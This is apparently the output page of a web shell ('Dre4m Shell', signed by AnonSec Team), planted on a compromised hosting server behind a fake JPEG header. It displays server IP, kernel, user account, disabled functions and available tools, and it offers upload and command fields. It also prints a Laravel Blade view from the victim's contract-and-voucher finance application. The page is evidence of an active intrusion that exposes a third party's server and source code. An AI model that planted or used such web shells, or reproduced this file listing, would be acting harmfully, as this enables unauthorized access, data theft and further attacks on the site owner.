ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.149.254.38
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/CreateContract/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/CreateContract/precreatecontract.blade.php
@extends('layouts.layout')
@section('pageTitle')
   {{ strtoupper('search contracts to raise voucher') }}
@endsection
@section('content')

    <div id="vim" class="modal fade">
        <div class="modal-dialog" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">All comments</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="deletevariableModal" 
                    role="form" method="POST" action="">
                    {{ csrf_field() }}
            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12" id="z-space">
                    
                    </div>
                </div>
            </div>
            </form>
                <div class="modal-footer">
                    <!--<button type="Submit" class="btn btn-success" id="putedit"></button>-->
                    <button type="button" class="btn btn-info" data-dismiss="modal">Close</button>
                </div>
            
                
            </div>
            
          </div>
        </div>


<div class="box box-default">
  <div class="box-body box-profile">
    <div class="box-header with-border hidden-print">
      <h3 class="box-title">@yield('pageTitle') <span id='processing'></span></h3>
    </div>
    <div class="box-body">
      <div class="row">
        <div class="col-md-12"><!--1st col--> 
                    @if ($warning<>'')
                      <div class="alert alert-dismissible alert-danger">
                      <button type="button" class="close" data-dismiss="alert">&times;</button>
                      <strong>{{$warning}}</strong> 
                      </div>
                      @endif
                      @if ($success<>'')
                      <div class="alert alert-dismissible alert-success">
                      <button type="button" class="close" data-dismiss="alert">&times;</button>
                      <strong>{{$success}}</strong> 
                      </div>
                      @endif
                      @if ($error<>'')
                      <div class="alert alert-dismissible alert-danger">
                      <button type="button" class="close" data-dismiss="alert">&times;</button>
                      <strong>{{$error}}</strong> 
                      </div>
                      @endif
                      @if (count($errors) > 0)
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong> 
                        @foreach ($errors->all() as $error)
                            <p>{{ $error }}</p>
                        @endforeach
                    </div>
                @endif 
        <form class="form-horizontal" role="form" id="form1" method="post" action="">
        {{ csrf_field() }}

        <div class="col-md-12"><!--2nd col-->
          <!-- /.row -->
          <div class="form-group">

            <div class="col-md-3">          
                <label class="control-label">-Select Economic Group-</label>
                <select  class="form-control" name="contracttype" id="contracttype" placeholder="" >
                  <option value="">Select Contract</option>
                  @foreach($contracttypes as $list)
                    <option value="{{$list->ID}}" {{($list->ID == $contracttype || $list->ID == old('contracttype')) ? "selected" : ""}}>{{$list->contractType}}</option>
                  @endforeach
                </select>
            </div>

            


            <div class="col-md-3">          
                <label class="control-label">Contractor/Staff Voucher</label>
                <select name="contractor" id="contractor" class="form-control">
              <option value="" >-Select All-</option>
              @foreach($companyDetails as $list)
                        <option value="{{$list->id}}" {{($list->id == $contractor|| $list->id == old('contractor')) ? "selected" : ""}}>{{$list->contractor}}</option>
                @endforeach
          </select>
            </div>

            <div class="col-md-3">          
                <label class="control-label">File No</label>
                <input list="fileNos" value="{{($fileno)? $fileno : old('fileno')}}" name="fileno" id="fileno" autocomplete="off" class="form-control">
                  <datalist id="fileNos">
                    @foreach($fileNos as $list)
                        <option value="{{ $list->fileNo }}">{{ $list->fileNo }}</option>
                    @endforeach
                  </datalist>
            </div>


            <div class="col-md-1"> 
                <label class="control-label">&nbsp</label>        
                <button class="btn btn-success form-control">Search</button>
            </div>
            </div>
          

            <div class="table-responsive col-md-12" style="font-size: 12px; padding:10px;">
                <table class="table table-bordered table-striped table-highlight" >
                    <thead>
                        <tr bgcolor="#c7c7c7">
                            <th>S/N</th>
                            <th>File No</th>
                            <th>Description</th>
                            <th>Total Amount</th>
                            <th>Balance</th>
                            <th>Beneficiary</th>
                            <th>Status</th>
                            <th>Approved By</th>
                            <th>Approved Date</th>
                            <th>Designated Staff</th>
                            <th>Action</th>
                        </tr>
                    </thead>
                    @php $i = 1; @endphp
                    <tbody>
                   @if($tablecontent)
                    @foreach($tablecontent as $list)
                      @if($list->contractBalance != 0)
                        <tr>
                            <td>{{ $i++ }}</td>
                            <td>{{ $list->fileNo }}</td>
                            
                            <td>{{ $list->ContractDescriptions }}</td>
                            @php $list->contractValue = (int) $list->contractValue; 
                               $list->contractBalance = (int) $list->contractBalance;
                            @endphp
                            <td> &#8358; {{ number_format($list->contractValue) }} </td>
                            <td> &#8358; {{ number_format($list->contractBalance) }} </td>
                            <td> @if($list->companyID== 13){{ $list->beneficiary}}@else{{ $list->contractor }}@endif</td>
                            <td>
                                @if($list->approvalStatus == 1)
                                <b><span class="text-success">Approved</span></b>
                                @elseif($list->approvalStatus == 2)
                                    <b><span class="text-warning">Rejected</span></b>
                                @else
                                    <b><span class="text-danger">Pending</span></b>
                                @endif
                            </td>
         
                            <td>{{ $list->approvedBy }}</td>
                            <td>{{ $list->approvalDate }} </td>
                            
                            <td>
                               <select class="form-control" id="staff{{$list->ID}}" >
		                   <option value=""  >-Select Staff-</option>     
		                  @foreach($UnitStaff as $list2)
		                  <option value="{{$list2->user_id}}" {{ ($list->OC_staffId) == $list2->user_id? "selected":"" }}>{{$list2->Names}}</option>
		                  @endforeach
		                </select>
                            </td>
                            <td id="{{$list->ID}}">
                                <a class="btn btn-xs btn-success" style="cursor: pointer;" 
                                        onclick="return AssignStaff('{{$list->ID}}')">Assign</a>

                            </td>
                            
                                                         
                        </tr>
                        @endif
                    @endforeach
                    @else
                    <tr><td colspan="100%" >No record</td></tr>
                    @endif
                    </tbody>                    
                </table>
          </th>
            </tr>
            

            
            
      
            </div>
          
          <hr />
        </div>
        
        <input type="hidden" id="hiddencontractid" name="hiddencontractid">
        <input type="hidden" id="hiddenuserid" name="hiddenuserid">
       </form>
  </div>
</div>


@endsection
@section('styles')
<link rel="stylesheet" type="text/css" href="{{asset('assets/css/datepicker.min.css')}}">
@stop
@section('styles')
<style type="text/css">
    .modal-dialog {
width:10cm
}

.modal-header {

background-color: #006600;

color:#FFF;

}

</style>
@endsection

@section('scripts')
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
<script>
  
    

    function delfunc(a)
  {
  $(document).ready(function(){
  $('#conID').val(a);
  $("#delModal").modal('show');
  });
  }

  function AssignStaff(id){
    document.getElementById('hiddencontractid').value=id;
    document.getElementById('hiddenuserid').value=document.getElementById("staff"+id).value;
    if(document.getElementById('hiddenuserid').value!== ""){
    document.getElementById('form1').submit();
      return ;
    }
    
  }
 
  
  </script>


@stop

Anon7 - 2022
AnonSec Team